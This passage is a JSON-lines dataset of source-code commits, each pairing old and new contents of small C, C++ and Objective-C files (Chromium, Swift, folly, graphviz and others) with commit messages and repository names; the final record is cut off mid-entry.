{"commit":"1bda1ddc5ccd30b92da0511428055b4d3230e6d4","old_file":"chrome\/app\/scoped_ole_initializer.h","new_file":"chrome\/app\/scoped_ole_initializer.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n#include \"base\/logging.h\"\n#include \"build\/build_config.h\"\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","subject":"Make ScopedOleInitializer work on windows if you aren't including build_config already.","message":"Make ScopedOleInitializer work on windows if you aren't including\nbuild_config already.\n\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/19640\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@8835 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 11ecac55348eb103e2cbcd25cb01178584faa57f","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"6c9ccbc59bb5d98785b5e45acd139704241ecebb","old_file":"test\/Interop\/Cxx\/class\/Inputs\/access-specifiers.h","new_file":"test\/Interop\/Cxx\/class\/Inputs\/access-specifiers.h","old_contents":"class PublicPrivate {\npublic:\n  int PublicMemberVar;\n  static int PublicStaticMemberVar;\n  void publicMemberFunc();\n\n  typedef int PublicTypedef;\n  struct PublicStruct {};\n  enum PublicEnum { PublicEnumValue1 };\n  enum { PublicAnonymousEnumValue };\n  enum PublicClosedEnum {\n    PublicClosedEnumValue1\n  } __attribute__((enum_extensibility(closed)));\n  enum PublicOpenEnum {\n    PublicOpenEnumValue1\n  } __attribute__((enum_extensibility(open)));\n  enum PublicFlagEnum {} __attribute__((flag_enum));\n\nprivate:\n  int PrivateMemberVar;\n  static int PrivateStaticMemberVar;\n  void privateMemberFunc() {}\n\n  typedef int PrivateTypedef;\n  struct PrivateStruct {};\n  enum PrivateEnum { PrivateEnumValue1 };\n  enum { PrivateAnonymousEnumValue1 };\n  enum PrivateClosedEnum {\n    PrivateClosedEnumValue1\n  } __attribute__((enum_extensibility(closed)));\n  enum PrivateOpenEnum {\n    PrivateOpenEnumValue1\n  } __attribute__((enum_extensibility(open)));\n  enum PrivateFlagEnum {} __attribute__((flag_enum));\n};\n","new_contents":"#ifndef TEST_INTEROP_CXX_CLASS_INPUTS_ACCESS_SPECIFIERS_H\n#define TEST_INTEROP_CXX_CLASS_INPUTS_ACCESS_SPECIFIERS_H\n\nclass PublicPrivate {\npublic:\n  int PublicMemberVar;\n  static int PublicStaticMemberVar;\n  void publicMemberFunc();\n\n  typedef int PublicTypedef;\n  struct PublicStruct {};\n  enum PublicEnum { PublicEnumValue1 };\n  enum { PublicAnonymousEnumValue };\n  enum PublicClosedEnum {\n    PublicClosedEnumValue1\n  } __attribute__((enum_extensibility(closed)));\n  enum PublicOpenEnum {\n    PublicOpenEnumValue1\n  } __attribute__((enum_extensibility(open)));\n  enum PublicFlagEnum {} __attribute__((flag_enum));\n\nprivate:\n  int PrivateMemberVar;\n  static int PrivateStaticMemberVar;\n  void privateMemberFunc() {}\n\n  typedef int PrivateTypedef;\n  struct PrivateStruct {};\n  enum PrivateEnum { PrivateEnumValue1 };\n  enum { PrivateAnonymousEnumValue1 };\n  enum PrivateClosedEnum {\n    PrivateClosedEnumValue1\n  } __attribute__((enum_extensibility(closed)));\n  enum PrivateOpenEnum {\n    PrivateOpenEnumValue1\n  } __attribute__((enum_extensibility(open)));\n  enum PrivateFlagEnum {} __attribute__((flag_enum));\n};\n\n#endif\n","subject":"Add header guards for test input headers","message":"Add header guards for test input headers\n","lang":"C","license":"apache-2.0","repos":"harlanhaskins\/swift,roambotics\/swift,harlanhaskins\/swift,gregomni\/swift,JGiola\/swift,stephentyrone\/swift,allevato\/swift,CodaFi\/swift,rudkx\/swift,gregomni\/swift,JGiola\/swift,jmgc\/swift,apple\/swift,jmgc\/swift,rudkx\/swift,atrick\/swift,hooman\/swift,tkremenek\/swift,jckarter\/swift,nathawes\/swift,harlanhaskins\/swift,roambotics\/swift,harlanhaskins\/swift,allevato\/swift,aschwaighofer\/swift,JGiola\/swift,harlanhaskins\/swift,stephentyrone\/swift,CodaFi\/swift,atrick\/swift,xwu\/swift,CodaFi\/swift,rudkx\/swift,ahoppen\/swift,atrick\/swift,nathawes\/swift,stephentyrone\/swift,roambotics\/swift,benlangmuir\/swift,allevato\/swift,apple\/swift,jmgc\/swift,jckarter\/swift,jckarter\/swift,hooman\/swift,xwu\/swift,parkera\/swift,CodaFi\/swift,stephentyrone\/swift,nathawes\/swift,CodaFi\/swift,allevato\/swift,jckarter\/swift,ahoppen\/swift,glessard\/swift,xwu\/swift,parkera\/swift,roambotics\/swift,jckarter\/swift,JGiola\/swift,parkera\/swift,rudkx\/swift,stephentyrone\/swift,aschwaighofer\/swift,parkera\/swift,atrick\/swift,apple\/swift,airspeedswift\/swift,airspeedswift\/swift,stephentyrone\/swift,apple\/swift,aschwaighofer\/swift,jmgc\/swift,hooman\/swift,allevato\/swift,apple\/swift,jmgc\/swift,parkera\/swift,glessard\/swift,aschwaighofer\/swift,stephentyrone\/swift,ahoppen\/swift,jmgc\/swift,tkremenek\/swift,atrick\/swift,airspeedswift\/swift,airspeedswift\/swift,allevato\/swift,airspeedswift\/swift,parkera\/swift,tkremenek\/swift,gregomni\/swift,rudkx\/swift,gregomni\/swift,aschwaighofer\/swift,atrick\/swift,ahoppen\/swift,harlanhaskins\/swift,parkera\/swift,benlangmuir\/swift,hooman\/swift,nathawes\/swift,benlangmuir\/swift,tkremenek\/swift,xwu\/swift,aschwaighofer\/swift,jmgc\/swift,tkremenek\/swift,roambotics\/swift,hooman\/swift,harlanhaskins\/swift,JGiola\/swift,gregomni\/swift,ahoppen\/swift,xwu\/swift,nathawes\/swift,tkremenek\/swift,hooman\/swift,benlangmuir\/swift,allevato\/swift,JGiola\/swift,jckarter\/swift,gregomni\/swift,parkera\/swift,glessard\/swift,aschwaighofer\/swift,rudkx\/swift,apple\/swift,xwu\/swift,xwu\/swift,CodaFi\/swift,airspeedswift\/swift,glessard\/swift,nathawes\/swift,hooman\/swift,nathawes\/swift,glessard\/swift,ahoppen\/swift,benlangmuir\/swift,benlangmuir\/swift,tkremenek\/swift,glessard\/swift,airspeedswift\/swift,roambotics\/swift,CodaFi\/swift,jckarter\/swift"}
{"commit":"deb71d745847f5b923ef798fc813d71f5bf9e675","old_file":"folly\/executors\/SequencedExecutor.h","new_file":"folly\/executors\/SequencedExecutor.h","old_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <folly\/Executor.h>\n\nnamespace folly {\n\n\/\/ SequencedExecutor is an executor that provides the following guarantee:\n\/\/ if add(A) and add(B) were sequenced (i.e. add(B) was called after add(A) call\n\/\/ had returned to the caller) then execution of A and B will be sequenced\n\/\/ (i.e. B() can be called only after A() returns) too.\nclass SequencedExecutor : public virtual Executor {\n public:\n  virtual ~SequencedExecutor() {}\n};\n\n} \/\/ namespace folly\n","new_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <folly\/Executor.h>\n\nnamespace folly {\n\n\/\/ SequencedExecutor is an executor that provides the following guarantee:\n\/\/ if add(A) and add(B) were sequenced (i.e. add(B) was called after add(A) call\n\/\/ had returned to the caller) then execution of A and B will be sequenced\n\/\/ (i.e. B() can be called only after A() returns) too.\nclass SequencedExecutor : public virtual Executor {\n public:\n  virtual ~SequencedExecutor() override {}\n};\n\n} \/\/ namespace folly\n","subject":"Mark some destructors that are overriden as `override`","message":"Mark some destructors that are overriden as `override`\n\nSummary: This satisfies a new error in llvm11\n\nReviewed By: smeenai\n\nDifferential Revision: D27421459\n\nfbshipit-source-id: 963d809a4f430a365223786ea7d2591fe239062f\n","lang":"C","license":"apache-2.0","repos":"facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly"}
{"commit":"bc22dc60adc9d59e9a0b5d940ce6222056d35acc","old_file":"task1.c","new_file":"task1.c","old_contents":"#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n\nint main(int argc, char* argv[]) {\n  if (argc > 1) {\n    int fdWrite = open(argv[1], O_WRONLY | O_CREAT, 0666);\n    if (fdWrite == -1) {\n      write(2, \"Cannot open file\", 16);\n      return 1;\n    }\n    int fdRead = open(argv[1], O_RDONLY);\n    if (fdRead == -1) {\n      write(2, \"Cannot open file\", 16);\n      return 1;\n    }\n    lseek(fdWrite, -1, SEEK_END);\n    char c;\n    while (read(fdRead, &c, 1)) {\n      if (c >= '0' && c <= '9')\n        break;\n      write(fdWrite, &c, 1);\n    }\n    char buff[100];\n    int readCount;\n    while (readCount = read(fdRead, buff, 100))\n        write(1, buff, readCount);\n  } else {\n    printf(\"No file name provided\");\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n\nint main(int argc, char* argv[]) {\n  if (argc > 1) {\n    int stdoutCopy = dup(1);\n    close(1);\n    int fdWrite = open(argv[1], O_WRONLY | O_CREAT | O_APPEND, 0666);\n    if (fdWrite == -1) {\n      write(2, \"Cannot open file\", 16);\n      return 1;\n    }\n    close(0);\n    int fdRead = open(argv[1], O_RDONLY);\n    if (fdRead == -1) {\n      write(2, \"Cannot open file\", 16);\n      return 1;\n    }\n    char c;\n    while (read(0, &c, 1) && !(c >= '0' && c <= '9')) {\n      write(1, &c, 1);\n    }\n    char buff[100];\n    int readCount;\n    close(1);\n    dup(stdoutCopy);\n    while (readCount = read(0, buff, 100))\n        write(1, buff, readCount);\n  } else {\n    printf(\"No file name provided\");\n  }\n\n  return 0;\n}\n","subject":"Add stdin and stdout redirects","message":"Add stdin and stdout redirects\n","lang":"C","license":"mit","repos":"zdravkoandonov\/sysprog"}
{"commit":"4d26eeb21841892bbab01c023a32f285e94a84bb","old_file":"cc\/CatchCvExceptionWorker.h","new_file":"cc\/CatchCvExceptionWorker.h","old_contents":"#include \"NativeNodeUtils.h\"\n\n#ifndef __FF_CATCHCVEXCEPTIONWORKER_H__\n#define __FF_CATCHCVEXCEPTIONWORKER_H__\n\nstruct CatchCvExceptionWorker : public FF::SimpleWorker {\npublic:\n\tstd::string execute() {\n\t\ttry {\n\t\t\treturn executeCatchCvExceptionWorker();\n\t\t} catch (std::exception e) {\n\t\t\treturn std::string(e.what());\n\t\t}\n\t}\n\n\tvirtual std::string executeCatchCvExceptionWorker() = 0;\n};\n\n#endif","new_contents":"#include \"NativeNodeUtils.h\"\n\n#ifndef __FF_CATCHCVEXCEPTIONWORKER_H__\n#define __FF_CATCHCVEXCEPTIONWORKER_H__\n\nstruct CatchCvExceptionWorker : public FF::SimpleWorker {\npublic:\n\tstd::string execute() {\n\t\ttry {\n\t\t\treturn executeCatchCvExceptionWorker();\n\t\t} catch (std::exception &e) {\n\t\t\treturn std::string(e.what());\n\t\t}\n\t}\n\n\tvirtual std::string executeCatchCvExceptionWorker() = 0;\n};\n\n#endif","subject":"Add more helpful C++ error messages","message":"Add more helpful C++ error messages\n","lang":"C","license":"mit","repos":"justadudewhohacks\/opencv4nodejs,justadudewhohacks\/opencv4nodejs,justadudewhohacks\/opencv4nodejs,justadudewhohacks\/opencv4nodejs,justadudewhohacks\/opencv4nodejs,justadudewhohacks\/opencv4nodejs"}
{"commit":"ed94ce0fde0f1c74a9e1af40b4848b9d92557173","old_file":"doc\/tutorial\/code\/basic.c","new_file":"doc\/tutorial\/code\/basic.c","old_contents":"","new_contents":"#include <stdint.h>\nuint32_t add(uint32_t x, uint32_t y) {\n    return x + y;\n}\n\nuint32_t dbl(uint32_t x) {\n    return add(x, x);\n}\n","subject":"Add missing LLVM example to tutorial","message":"Add missing LLVM example to tutorial\n","lang":"C","license":"bsd-3-clause","repos":"GaloisInc\/saw-script,GaloisInc\/saw-script,GaloisInc\/saw-script,GaloisInc\/saw-script,GaloisInc\/saw-script"}
{"commit":"72ffe721cd865da2222166e4afbbc06d2f6cf099","old_file":"lib\/vpsc\/remove_rectangle_overlap.h","new_file":"lib\/vpsc\/remove_rectangle_overlap.h","old_contents":"","new_contents":"\/**\n * \\brief remove overlaps between a set of rectangles.\n *\n * Authors:\n *   Tim Dwyer <tgdwyer@gmail.com>\n *\n * Copyright (C) 2005 Authors\n *\n * This version is released under the CPL (Common Public License) with\n * the Graphviz distribution.\n * A version is also available under the LGPL as part of the Adaptagrams\n * project: http:\/\/sourceforge.net\/projects\/adaptagrams.  \n * If you make improvements or bug fixes to this code it would be much\n * appreciated if you could also contribute those changes back to the\n * Adaptagrams repository.\n *\/\n#ifndef REMOVE_RECTANGLE_OVERLAP_H_SEEN\n#define REMOVE_RECTANGLE_OVERLAP_H_SEEN\n\nclass Rectangle;\n\nvoid removeRectangleOverlap(Rectangle *rs[], int n, double xBorder, double yBorder);\n\n\n#endif \/* !REMOVE_RECTANGLE_OVERLAP_H_SEEN *\/\n","subject":"Add the vpsc library for IPSEPCOLA features","message":"Add the vpsc library for IPSEPCOLA features\n","lang":"C","license":"epl-1.0","repos":"tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,ellson\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,ellson\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz"}
{"commit":"ad6fff03ba1840e7b62fdf2a2f1da1dda7600bc2","old_file":"main.c","new_file":"main.c","old_contents":"#include \"siphash.h\"\n#include <stdio.h>\n\n\nint main(void)\n{\n        uint8_t key[] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n\t\t\t 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f};\n\n        uint64_t k0 = *(uint64_t*)(key + 0);\n        uint64_t k1 = *(uint64_t*)(key + 8);\n\n        uint8_t msg[] = {0x00, 0x01, 0x02, 0x03, 0x04,\n                         0x05, 0x06, 0x07, 0x08, 0x09,\n                         0x0a, 0x0b, 0x0c, 0x0d, 0x0e};\n\n        uint64_t s = siphash24(k0, k1, msg, sizeof(msg));\n\n        printf(\"SipHash-2-4 test: 0x%016llx (expected 0x%016llx)\\n\", s, 0xa129ca6149be45e5ull);\n\n        return 0;\n}\n\n","new_contents":"#include \"siphash.h\"\n#include <stdio.h>\n\n\nint main(void)\n{\n        uint8_t key[] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n\t\t\t 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f};\n\n        uint64_t k0 = *(uint64_t*)(key + 0);\n        uint64_t k1 = *(uint64_t*)(key + 8);\n\n        uint8_t msg[] = {0x00, 0x01, 0x02, 0x03, 0x04,\n                         0x05, 0x06, 0x07, 0x08, 0x09,\n                         0x0a, 0x0b, 0x0c, 0x0d, 0x0e};\n\n\tuint8_t res[] = {0xe5, 0x45, 0xbe, 0x49, 0x61, 0xca, 0x29, 0xa1};\n\tuint64_t r = *(uint64_t*)res;\n\n        uint64_t s = siphash24(k0, k1, msg, sizeof(msg));\n\n        printf(\"SipHash-2-4 test: 0x%016llx (expected 0x%016llx)\\n\", s, r);\n\n        return 0;\n}\n\n","subject":"Make expected test result endianness-neutral","message":"Make expected test result endianness-neutral\n\nSigned-off-by: Gregory Petrosyan <60f6837da39a129899062fdb5e652b06dce7deb5@gmail.com>\n","lang":"C","license":"mit","repos":"flyingmutant\/siphash"}
{"commit":"abc56d775ef19f709b75c676a23fcb9b6c99762d","old_file":"test\/CodeGen\/debug-info-version.c","new_file":"test\/CodeGen\/debug-info-version.c","old_contents":"\/\/ RUN: %clang -g -S -emit-llvm -o - %s | FileCheck %s\n\/\/ RUN: %clang -S -emit-llvm -o - %s | FileCheck %s --check-prefix=NO_DEBUG\nint main (void) {\n  return 0;\n}\n\n\/\/ CHECK:  i32 2, !\"Debug Info Version\", i32 2}\n\/\/ NO_DEBUG-NOT: metadata !\"Debug Info Version\"\n","new_contents":"\/\/ RUN: %clang -g -S -emit-llvm -o - %s | FileCheck %s\n\/\/ RUN: %clang -S -emit-llvm -o - %s | FileCheck %s --check-prefix=NO_DEBUG\nint main (void) {\n  return 0;\n}\n\n\/\/ CHECK:  i32 2, !\"Debug Info Version\", i32 2}\n\/\/ NO_DEBUG-NOT: !\"Debug Info Version\"\n","subject":"Update this testcase for the new metadata assembler syntax.","message":"Update this testcase for the new metadata assembler syntax.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@224262 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"594f834700f5dc7c3881195db73d299b5d47ac14","old_file":"src\/modules\/os\/methods\/homedir.c","new_file":"src\/modules\/os\/methods\/homedir.c","old_contents":"#include \"duktape.h\"\n#include \"mininode.h\"\n#include \"uv.h\"\n#include <unistd.h>\n\nduk_ret_t mn_bi_os_homedir(duk_context *ctx) {\n\tchar buf[PATH_MAX];\n\tsize_t len = sizeof(buf);\n\tconst int err = uv_os_homedir(buf, &len);\n\n\tif (err) {\n\t\tduk_push_string(ctx, \"uv_os_homedir() error!\");\n\t\tduk_throw(ctx);\n\t}\n\n\tduk_push_string(ctx, buf);\n\treturn 1;\n}\n","new_contents":"#include \"duktape.h\"\n#include \"mininode.h\"\n#include \"uv.h\"\n#include <unistd.h>\n\nduk_ret_t mn_bi_os_homedir(duk_context *ctx) {\n\tchar buf[PATH_MAX];\n\tsize_t len = sizeof(buf);\n\tconst int err = uv_os_homedir(buf, &len);\n\n\tif (err) {\n\t\tduk_push_string(ctx, \"uv_os_homedir() error!\");\n\t\tduk_throw(ctx);\n\t} else {\n\t\tduk_push_string(ctx, buf);\n\t\treturn 1;\n\t}\n}\n","subject":"Make the branches explicit rather than implicit","message":"Make the branches explicit rather than implicit\n","lang":"C","license":"mit","repos":"hypoalex\/mininode,hypoalex\/mininode,hypoalex\/mininode"}
{"commit":"907b0aa7b72d7786b824a573868df93723acafd3","old_file":"Source\/Typhoon.h","new_file":"Source\/Typhoon.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  JASPER BLUES\n\/\/  Copyright 2013 Jasper Blues\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: Jasper Blues permits you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import \"TyphoonDefinition.h\"\n#import \"TyphoonInitializer.h\"\n#import \"TyphoonPropertyPlaceholderConfigurer.h\"\n#import \"TyphoonResource.h\"\n#import \"TyphoonBundleResource.h\"\n#import \"TyphoonComponentFactory.h\"\n#import \"TyphoonComponentFactory+InstanceBuilder.h\"\n#import \"TyphoonXmlComponentFactory.h\"\n#import \"TyphoonComponentFactoryMutator.h\"\n#import \"TyphoonRXMLElement+XmlComponentFactory.h\"\n#import \"TyphoonRXMLElement.h\"\n#import \"TyphoonTestUtils.h\"\n#import \"TyphoonIntrospectionUtils.h\"\n#import \"TyphoonAssembly.h\"\n\n\/\/TODO: Possibly move this to make explicit\n#import \"TyphoonBlockComponentFactory.h\"\n\n#import \"TyphoonAutowire.h\"\n#import \"TyphoonShorthand.h\"\n\n\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  JASPER BLUES\n\/\/  Copyright 2013 Jasper Blues\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: Jasper Blues permits you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import \"TyphoonDefinition.h\"\n#import \"TyphoonInitializer.h\"\n#import \"TyphoonPropertyPlaceholderConfigurer.h\"\n#import \"TyphoonResource.h\"\n#import \"TyphoonBundleResource.h\"\n#import \"TyphoonComponentFactory.h\"\n#import \"TyphoonComponentFactory+InstanceBuilder.h\"\n#import \"TyphoonXmlComponentFactory.h\"\n#import \"TyphoonComponentFactoryMutator.h\"\n#import \"TyphoonRXMLElement+XmlComponentFactory.h\"\n#import \"TyphoonRXMLElement.h\"\n#import \"TyphoonTestUtils.h\"\n#import \"TyphoonIntrospectionUtils.h\"\n#import \"TyphoonAssembly.h\"\n\n\/\/TODO: Possibly move this to make explicit\n#import \"TyphoonBlockComponentFactory.h\"\n\n#import \"TyphoonAutowire.h\"\n#import \"TyphoonShorthand.h\"\n\n\n\/\/TODO: Add debug and info level logs\n\n#define Typhoon_LogDealloc() NSLog(@\"******* %@ in dealloc ****\", NSStringFromClass([self class]));\n\n","subject":"Add Logger for dealloc methods.","message":"Add Logger for dealloc methods.\n","lang":"C","license":"apache-2.0","repos":"eyeem\/Typhoon,gaurav1981\/Typhoon,dmueller39\/Typhoon,literator\/Typhoon,1yvT0s\/Typhoon,zjh171\/Typhoon,pomozoff\/Typhoon,r2B3Challenge\/Typhoon,1yvT0s\/Typhoon,eyeem\/Typhoon,manicakes\/Typhoon,zjh171\/Typhoon,eyeem\/Typhoon,eyeem\/Typhoon,r2B3Challenge\/Typhoon,dmueller39\/Typhoon,nickynick\/Typhoon,mbaltaks\/Typhoon,r2B3Challenge\/Typhoon,r2B3Challenge\/Typhoon,pomozoff\/Typhoon,mbaltaks\/Typhoon,1yvT0s\/Typhoon,gaurav1981\/Typhoon,eyeem\/Typhoon,pomozoff\/Typhoon,zjh171\/Typhoon,manicakes\/Typhoon,r2B3Challenge\/Typhoon,zjh171\/Typhoon,nickynick\/Typhoon,mbaltaks\/Typhoon,gaurav1981\/Typhoon,eyeem\/Typhoon,manicakes\/Typhoon,literator\/Typhoon,manicakes\/Typhoon,1yvT0s\/Typhoon,literator\/Typhoon,1yvT0s\/Typhoon,literator\/Typhoon,pomozoff\/Typhoon,manicakes\/Typhoon,literator\/Typhoon,gaurav1981\/Typhoon,mbaltaks\/Typhoon,1yvT0s\/Typhoon,r2B3Challenge\/Typhoon,pomozoff\/Typhoon,manicakes\/Typhoon,dmueller39\/Typhoon,mbaltaks\/Typhoon,literator\/Typhoon,mbaltaks\/Typhoon,dmueller39\/Typhoon,dmueller39\/Typhoon,zjh171\/Typhoon,nickynick\/Typhoon,gaurav1981\/Typhoon,zjh171\/Typhoon,nickynick\/Typhoon,nickynick\/Typhoon,gaurav1981\/Typhoon"}
{"commit":"dcc03187070b26677f38056ab4f7b3209202a52e","old_file":"constants.h","new_file":"constants.h","old_contents":"#ifndef CONSTANTS_H_\n#define CONSTANTS_H_\n\n#include <math.h>\n\n#define PRIME_FIELD_BINARY_BIT_LENGTH (64)\n\n#define LIMB_SIZE_IN_BITS (64)\n#define LIMB_SIZE_IN_BYTES (LIMB_SIZE_IN_BITS \/ 8)\n#define LIMB_SIZE_IN_HEX (LIMB_SIZE_IN_BITS \/ 4)\n\/\/ +1 is important for basic operations like addition that may overflow to the\n\/\/ next limb\n#define NUM_LIMBS ((unsigned int) ceil((PRIME_FIELD_BINARY_BIT_LENGTH + 1)\/ ((double) LIMB_SIZE_IN_BITS)))\n#define PRIME_FIELD_FULL_HEX_LENGTH (NUM_LIMBS * LIMB_SIZE_IN_HEX)\n\n#endif\n","new_contents":"#ifndef CONSTANTS_H_\n#define CONSTANTS_H_\n\n#include <math.h>\n\n\/\/ Modify PRIME_FIELD_BINARY_BIT_LENGTH at will\n#define PRIME_FIELD_BINARY_BIT_LENGTH (131)\n\n\/\/ Do not modify anything below\n#define 